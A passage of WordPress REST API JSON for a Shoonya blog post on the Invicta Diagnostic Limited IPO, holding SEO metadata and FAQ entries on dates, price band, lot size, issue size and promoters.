Cr\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/12\\\/Invicta-Diagnostic-Limited-IPO.jpg\",\"datePublished\":\"2025-12-01T08:10:10+00:00\",\"dateModified\":\"2025-12-01T09:42:41+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"description\":\"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576150958\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576151869\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576152693\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576184030\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200294\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200783\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576219543\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/12\\\/Invicta-Diagnostic-Limited-IPO.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/12\\\/Invicta-Diagnostic-Limited-IPO.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Invicta Diagnostic Limited IPO\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"IPO\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/ipo\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Invicta Diagnostic Limited IPO | Important Dates, Price, and More\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\",\"name\":\"atulrana\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g\",\"caption\":\"atulrana\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576150958\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576150958\",\"name\":\"1. When does the Invicta Diagnostic IPO open and close?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Invicta Diagnostic IPO opens on December 1, 2025, and closes on December 3, 2025.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576151869\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576151869\",\"name\":\"2. What is the price band and lot size for the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Invicta Diagnostic IPO price band is \u20b980 \u2013 \u20b985 per share. The minimum lot size is 1,600 shares, and retail investors must apply for 3,200 shares (2 lots).\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576152693\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576152693\",\"name\":\"3. How can I apply for the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"You can apply for the Invicta Diagnostic IPO through any stockbroker\u2019s app, ASBA net banking, or UPI mandate. Select Invicta Diagnostic IPO, choose the lot size, submit your bid, and approve the UPI mandate.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576184030\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576184030\",\"name\":\"4. What is the refund and Demat credit date for the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Refunds for the Invicta Diagnostic IPO will be processed on December 5, 2025, and shares will be credited to Demat accounts the same day.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200294\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200294\",\"name\":\"5. What is the face value of shares in the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The face value of shares offered in the Invicta Diagnostic IPO is \u20b910 per share.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200783\",\"position\":6,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576200783\",\"name\":\"6. How many shares are being offered in the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Invicta Diagnostic IPO consists of a fresh issue of 33,08,800 shares, totalling \u20b928.12 Crores.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576219543\",\"position\":7,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#faq-question-1764576219543\",\"name\":\"7. Who are the promoters of Invicta Diagnostic Ltd. in the Invicta Diagnostic IPO?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The promoters of the Invicta Diagnostic IPO are Dr. Ketan Jayantilal Jain, Dr. Sanket Vinod Jain, Rohit Prakash Srivastava, Badal Kailash Naredi, and Jayesh Prakash Jain.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr","description":"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/","og_locale":"en_US","og_type":"article","og_title":"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr","og_description":"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.","og_url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2025-12-01T08:10:10+00:00","article_modified_time":"2025-12-01T09:42:41+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","type":"image\/jpeg"}],"author":"atulrana","twitter_card":"summary_large_image","twitter_title":"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr","twitter_description":"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"atulrana","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/"},"author":{"name":"atulrana","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"headline":"Invicta Diagnostic Limited IPO | Important Dates, Price, and More","datePublished":"2025-12-01T08:10:10+00:00","dateModified":"2025-12-01T09:42:41+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/"},"wordCount":679,"image":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","keywords":["Invicta Diagnostic IPO","Invicta Diagnostic Limited IPO"],"articleSection":["IPO"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/","url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/","name":"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","datePublished":"2025-12-01T08:10:10+00:00","dateModified":"2025-12-01T09:42:41+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124"},"description":"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576150958"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576151869"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576152693"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576184030"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200294"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200783"},{"@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576219543"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg","width":1920,"height":1080,"caption":"Invicta Diagnostic Limited IPO"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"IPO","item":"https:\/\/shoonya.com\/blog\/investing\/ipo\/"},{"@type":"ListItem","position":4,"name":"Invicta Diagnostic Limited IPO | Important Dates, Price, and More"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/753b3e2352dc2915e7069273091f9124","name":"atulrana","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/56661bad9a9faba6942f406f61a70c95770772dfbac6ae45629f44769cc88636?s=96&d=mm&r=g","caption":"atulrana"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576150958","position":1,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576150958","name":"1. When does the Invicta Diagnostic IPO open and close?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Invicta Diagnostic IPO opens on December 1, 2025, and closes on December 3, 2025.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576151869","position":2,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576151869","name":"2. What is the price band and lot size for the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Invicta Diagnostic IPO price band is \u20b980 \u2013 \u20b985 per share. The minimum lot size is 1,600 shares, and retail investors must apply for 3,200 shares (2 lots).","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576152693","position":3,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576152693","name":"3. How can I apply for the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"You can apply for the Invicta Diagnostic IPO through any stockbroker\u2019s app, ASBA net banking, or UPI mandate. Select Invicta Diagnostic IPO, choose the lot size, submit your bid, and approve the UPI mandate.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576184030","position":4,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576184030","name":"4. What is the refund and Demat credit date for the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Refunds for the Invicta Diagnostic IPO will be processed on December 5, 2025, and shares will be credited to Demat accounts the same day.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200294","position":5,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200294","name":"5. What is the face value of shares in the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The face value of shares offered in the Invicta Diagnostic IPO is \u20b910 per share.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200783","position":6,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576200783","name":"6. How many shares are being offered in the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The Invicta Diagnostic IPO consists of a fresh issue of 33,08,800 shares, totalling \u20b928.12 Crores.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576219543","position":7,"url":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#faq-question-1764576219543","name":"7. Who are the promoters of Invicta Diagnostic Ltd. in the Invicta Diagnostic IPO?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The promoters of the Invicta Diagnostic IPO are Dr. Ketan Jayantilal Jain, Dr. Sanket Vinod Jain, Rohit Prakash Srivastava, Badal Kailash Naredi, and Jayesh Prakash Jain.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15757","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=15757"}],"version-history":[{"count":3,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15757\/revisions"}],"predecessor-version":[{"id":15768,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/15757\/revisions\/15768"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/15759"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=15757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=15757"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=15757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}